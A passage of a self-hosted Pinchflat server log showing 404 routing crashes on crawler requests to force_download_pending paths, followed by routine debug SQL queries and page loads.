"2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/2/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsZ9Kl-ZnyPAgAKZKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36112}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273938.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36112}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273940.0>, params: %{}, path_info: ["sources", "2", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:15:22.080 [error] #PID<0.273941.0> running PinchflatWeb.Endpoint (connection #PID<0.273939.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36110}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273941.0>, params: %{}, path_info: ["sources", "5", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/5/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsZ9Kl-bkzVwAAM3OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36110}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.273939.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36110}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.273941.0>, params: %{}, path_info: ["sources", "5", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 08:15:22.115 [info] GET /sources/new 08:15:22.115 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "5"} Pipelines: [:browser] 08:15:22.116 [debug] QUERY OK source="sources" db=0.4ms idle=125.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:15:22.117 [debug] QUERY OK source="media_profiles" db=0.5ms idle=37.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 08:15:22.117 [debug] QUERY OK source="settings" db=0.2ms idle=38.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.118 [debug] QUERY OK source="settings" db=0.3ms idle=38.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.119 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=39.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.120 [debug] QUERY OK source="settings" db=0.2ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.121 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:22.126 [info] Sent 200 in 11ms 08:15:30.688 [info] GET /sources/5/media/102593/edit 08:15:30.688 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "102593", "source_id" => "5"} Pipelines: [:browser] 08:15:30.689 [debug] QUERY OK source="media_items" db=0.5ms idle=1005.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102593] 08:15:30.690 [debug] QUERY OK source="settings" db=0.2ms idle=1006.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.690 [debug] QUERY OK source="settings" db=0.3ms idle=1007.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.691 [debug] QUERY OK source="settings" db=0.1ms idle=1008.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.693 [info] Sent 200 in 5ms 08:15:30.925 [info] GET /sources/2/media/811/edit 08:15:30.926 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "811", "source_id" => "2"} Pipelines: [:browser] 08:15:30.927 [debug] QUERY OK source="media_items" db=0.3ms idle=916.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [811] 08:15:30.927 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=238.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.928 [debug] QUERY OK source="settings" db=0.4ms idle=237.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.930 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=238.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:30.932 [info] Sent 200 in 6ms 08:15:31.427 [info] GET /sources/2/media/811 08:15:31.427 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "811", "source_id" => "2"} Pipelines: [:browser] 08:15:31.428 [debug] QUERY OK source="media_items" db=0.4ms idle=501.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [811] 08:15:31.429 [debug] QUERY OK source="tasks" db=0.2ms idle=501.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [811] 08:15:31.430 [debug] QUERY OK source="sources" db=0.4ms idle=501.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:15:31.430 [debug] QUERY OK source="settings" db=0.2ms idle=500.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:31.431 [debug] QUERY OK source="settings" db=0.1ms idle=418.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:31.431 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:15:31.433 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:15:31.435 [info] Sent 200 in 7ms 08:15:38.784 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.592 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:08.786 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:33.781 [info] GET /sources/2/media/805 08:16:33.782 [info] GET /sources/5/media/89022 08:16:33.782 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "805", "source_id" => "2"} Pipelines: [:browser] 08:16:33.782 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "89022", "source_id" => "5"} Pipelines: [:browser] 08:16:33.783 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1099.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [805] 08:16:33.783 [debug] QUERY OK source="media_items" db=0.9ms idle=1099.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [89022] 08:16:33.784 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=1100.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [805] 08:16:33.785 [debug] QUERY OK source="tasks" db=1.3ms idle=646.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [89022] 08:16:33.785 [debug] QUERY OK source="sources" db=1.6ms idle=1100.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:16:33.786 [debug] QUERY OK source="sources" db=1.7ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:16:33.786 [debug] QUERY OK source="settings" db=0.4ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.787 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=1.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [2375, 2471, 2565] 08:16:33.787 [debug] QUERY OK source="settings" db=0.6ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.788 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.789 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:16:33.789 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 